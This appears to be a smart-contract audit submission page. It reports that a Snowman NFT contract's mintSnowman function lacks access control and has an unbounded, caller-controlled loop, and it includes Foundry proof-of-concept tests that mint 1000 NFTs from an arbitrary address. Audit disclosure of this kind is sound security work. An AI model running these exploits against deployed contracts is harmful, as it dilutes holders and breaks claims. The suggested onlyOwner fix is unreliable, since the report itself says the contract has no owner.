Snowman.mintSnowman(address,uint256) is the only mint path for the airdrop NFT and it has no access control at all, even though the contract declares an error that exists precisely to forbid this:
// src/Snowman.sol L20 — declared, referenced nowhere else in the repo
error SM__NotAllowed();
// L36–L44 — external, no modifier, loop bound supplied by the caller, no maximum
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
The unused SM__NotAllowed() is the strongest evidence that an onlyAirdrop-style guard was intended and never written: there is no owner in Snowman.sol, no minter registry, no onlyOwner, nothing that records which contract is allowed to mint. Any externally-owned account can call it directly.
The second half of the problem is the loop bound. amount is used directly as the iteration count with no upper limit, and on the airdrop path that number is chosen by the claimer's own token balance:
// src/SnowmanAirdrop.sol L84 → L98
uint256 amount = i_snow.balanceOf(receiver); // the claimer controls this through Snow.buySnow(amount)
...
i_snowman.mintSnowman(receiver, amount); // one _safeMint + one event per unit of balance
Snow.buySnow(uint256 amount) accepts an arbitrary amount (src/Snow.sol L79), so a user can accumulate a large Snow balance and then submit a claim whose transaction performs that many _safeMint calls plus that many emit statements. Gas grows linearly with the caller's balance and there is no guard, chunking or per-leaf cap anywhere between claimSnowman and _safeMint.
The collection's supply is public property. Anyone can mint any quantity to any address outside every Merkle allocation (nft.mintSnowman(random, 1000) succeeds), so getTokenCounter() and the holders' shares are determined by whoever calls the function, not by the sponsor's distribution table. Combined with my other finding (the claim path is replayable) there is no upper bound on Snowman supply from either direction.
Large claims cannot complete. A claim mints one NFT per unit of the claimer's balance; once that number exceeds what fits in a block, claimSnowman reverts for the very users who accumulated the most Snow — they can never redeem, and each attempt costs them gas. This is a denial-of-service on the claim path that scales with user activity rather than with an attacker's effort.
Claim cost is unpredictable. Because the loop count comes from a balance anyone can change at will, a front-end cannot quote or bound the gas of a claim transaction.
Impact is medium (the NFT collection's scarcity and the usability of the claim path are both affected; no funds are drained directly) and likelihood is high: the unrestricted mint needs only one ordinary external call by any address, and a large-balance claim is a normal user state in this protocol.
Overview: mintSnowman is unauthenticated and its loop bound is caller-supplied, so (a) any address can mint arbitrary quantities outside the Merkle distribution and (b) a claim whose amount comes from a large balance cannot complete.
Actors — Attacker: any address (not the owner; Snowman has no owner; not SnowmanAirdrop). Victim: existing Snowman holders/collectors (diluted supply, meaningless token counter) and large-balance claimers whose claim transaction cannot fit in a block. Protocol: Snowman mint path, reached from SnowmanAirdrop.claimSnowman L98 with amount = balanceOf(receiver) (L84).
test/FindingSnowmanAirdrop.t.sol::test_F6_mintSnowman_is_unrestricted_and_loop_is_unbounded
function test_F6_mintSnowman_is_unrestricted_and_loop_is_unbounded() public {
address random = makeAddr("random"); // a plain address: not the airdrop contract, and Snowman has no owner
uint256 tokenCountBefore = nft.getTokenCounter();
// (a) anyone can mint an arbitrary quantity directly, outside every Merkle allocation
nft.mintSnowman(random, 1000);
assertEq(nft.balanceOf(random), 1000); // 1000 NFTs that no leaf ever allocated
assertEq(nft.getTokenCounter(), tokenCountBefore + 1000); // the collection counter moved with an arbitrary caller
// (b) the loop bound is the caller's number: a huge amount cannot complete.
// On the claim path this same number is balanceOf(receiver) (SnowmanAirdrop L84 -> L98).
vm.expectRevert(); // out of gas / above block gas limit
nft.mintSnowman(random, 5_000_000);
}
$ forge test --match-test test_F6_mintSnowman_is_unrestricted_and_loop_is_unbounded -vv
[PASS] test_F6_mintSnowman_is_unrestricted_and_loop_is_unbounded() (gas: 33224733)
Suite result: ok. 1 passed; 0 failed
The first two assertions prove the missing access control (a random address minted 1000 tokens and moved the collection counter); the vm.expectRevert() proves the unbounded loop is not completable at a large amount. The measured 33.2M gas for 1000 mints shows the linear cost directly: ~33k gas per unit, so a claim backed by a balance in the tens of thousands is already past what a normal transaction can carry — and it reverts at SnowmanAirdrop L98.
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.